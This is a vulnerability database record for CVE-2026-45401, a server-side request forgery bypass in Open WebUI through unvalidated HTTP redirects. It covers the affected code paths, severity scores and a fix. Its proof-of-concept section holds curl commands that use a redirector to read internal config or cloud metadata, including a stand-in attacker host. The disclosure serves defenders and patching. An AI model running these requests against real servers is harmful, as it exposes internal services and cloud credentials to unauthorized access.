{"id":"CVE-2026-45401","aliases":["CVE-2026-45401","GHSA-rh5x-h6pp-cjj6","PYSEC-2026-2755"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI: SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5.","source":"cvelist"},{"lang":"en","text":"# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://<target>/api/v1/retrieval/process/web \\\n  -H \"Authorization: Bearer <any_user_token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://<target>/api/chat/completions \\\n  -H \"Authorization: Bearer <any_user_token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.9.5, la función validate_url() en backend/open_webui/retrieval/web/utils.py solo valida la URL inicial enviada por el llamador. Los clientes HTTP utilizados en la cadena (solicitudes síncronas, aiohttp asíncrono, WebBaseLoader de langchain) siguen las redirecciones HTTP 3xx por defecto y no vuelven a validar el objetivo de la redirección contra la lista de bloqueo de IP privadas / IP de metadatos. Cualquier usuario autenticado puede, por lo tanto, enviar una URL pública que redirija con un código 302 a una dirección interna (p. ej., 127.0.0.1, 169.254.169[.]254, RFC1918) y leer el cuerpo de la respuesta interna a través del endpoint /api/v1/retrieval/process/web, los endpoints /api/v1/images/..., el endpoint /api/chat/completions con una parte de contenido image_url, y cualquier otra ruta que llame a estas funciones auxiliares. Esta vulnerabilidad está corregida en la versión 0.9.5.","source":"nvd"}],"published":"2026-05-14T20:27:14.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 0.9.5","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.5"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.9.5"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.5"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45401","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-c6xv-rcvw-v685","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/open-webui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-rh5x-h6pp-cjj6","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-18T12:47:48.265Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45401","url":"https://www.cve.org/CVERecord?id=CVE-2026-45401","licence":"CVE Terms of Use","modified":"2026-05-18T12:48:33.795Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rh5x-h6pp-cjj6","url":"https://github.com/advisories/GHSA-rh5x-h6pp-cjj6","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:41.191Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45401","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45401","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2755","url":"https://osv.dev/vulnerability/PYSEC-2026-2755","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:24.105Z"}],"updatedAt":"2026-11-25T22:59:21.865Z","epss":{"score":0.003,"percentile":0.24452,"date":"2026-12-01T12:00:22.000Z"}}